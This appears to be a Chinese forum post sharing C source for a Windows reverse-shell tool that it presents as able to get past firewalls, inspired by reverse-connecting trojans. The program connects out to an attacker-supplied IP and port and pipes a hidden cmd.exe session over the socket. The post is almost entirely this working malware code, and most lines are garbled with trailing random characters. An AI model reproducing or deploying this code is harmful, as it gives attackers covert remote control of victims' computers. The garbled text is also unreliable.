这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ..IfP@
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/* ============================== >@U*~Nz
Rebound port in Windows NT ] ]u
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By wind,2006/7 1auIR/=-
===============================*/ KI.q@zO6|
#include 6/f7<
#include k9<;woOBO
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#pragma comment(lib,"wsock32.lib") +jAGGv^)
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void OutputShell();
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SOCKET sClient; S(k3 `;K
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^%d\qd`
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void main(int argc,char **argv) zykT*V
{ hwPw]Ln/
WSADATA stWsaData; ~Q Oe##
int nRet; F|IAiE
SOCKADDR_IN stSaiClient,stSaiServer; lS"T4 5
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if(argc != 3) =J18eH!]
{ {JO^tI
printf("Useage:\n\rRebound DestIP DestPort\n"); ZJnYIK
return; `"Jj1O@
} Q$a{\*[:+
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WSAStartup(MAKEWORD(2,2),&stWsaData); 6]&OrS[
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); evya7^,F
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stSaiClient.sin_family = AF_INET; )cW#Rwu_A4
stSaiClient.sin_port = htons(0); 9"N~yKa`"K
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); B~'vCuE
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) P9/q|>F
{ `}D,5^9]
printf("Bind Socket Failed!\n"); |'e^QpU5
return; Q{O+
} l#g\X'bK
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stSaiServer.sin_family = AF_INET; )!3V/`I
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); M-$%Rzl_
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u0}vWkn\4
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) sG(~^hJ_
{ kGH }[w
printf("Connect Error!"); s%vis{2
return; R6 y#S&]x
} ^+*N%yr
OutputShell(); ADz ^\
} fZ6MSAh
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void OutputShell() VRVO-Sk
{ .Hescg/S
char szBuff[1024]; Rm2yPuOU}A
SECURITY_ATTRIBUTES stSecurityAttributes; ~G)S
OSVERSIONINFO stOsversionInfo; [xK3F+
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; B+$%*%b
STARTUPINFO stStartupInfo; E7WK
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char *szShell; >Ifr [
PROCESS_INFORMATION stProcessInformation; ]>W6
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unsigned long lBytesRead; C+*d8_L
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EZgq ?l~5O
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Ka'=o?'B5
stSecurityAttributes.lpSecurityDescriptor = 0; nB_?ckj,
stSecurityAttributes.bInheritHandle = TRUE; C>]0YO
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); k
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); $CRm3#+
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ! :Y:pu0
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; V"[g.%%Y
stStartupInfo.wShowWindow = SW_HIDE; ;
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stStartupInfo.hStdInput = hReadPipe; hE &xE;
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; G?9"Y%
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GetVersionEx(&stOsversionInfo); zZ:>do\2
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switch(stOsversionInfo.dwPlatformId) gK+4C
{ SDC4L <!
case 1: R1s`z|?
szShell = "command.com"; AKY1o.>z
break; x/%aM1"X^
default: 1]d!~
szShell = "cmd.exe"; ru'F6?d
break; 9-sw!tKx
} QpF;:YX^3
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); $ux,9H'[
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send(sClient,szMsg,77,0); {k(g]#pP
while(1) hMa]B*o/-
{ y>S.?H:P
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @Rg/~\ K
if(lBytesRead)
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{ >R|/M`<ph
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); xv46r=>
send(sClient,szBuff,lBytesRead,0); O8f?; ]
} m\;R2"H%
else l(yZO$
{ adlV!k7RG
lBytesRead=recv(sClient,szBuff,1024,0); r^2p*nr}
if(lBytesRead<=0) break; I"xo*}
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); BIH-"vTy
} )Fc%+TpKi
} HUcq%.
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return; .4S.>~^7
}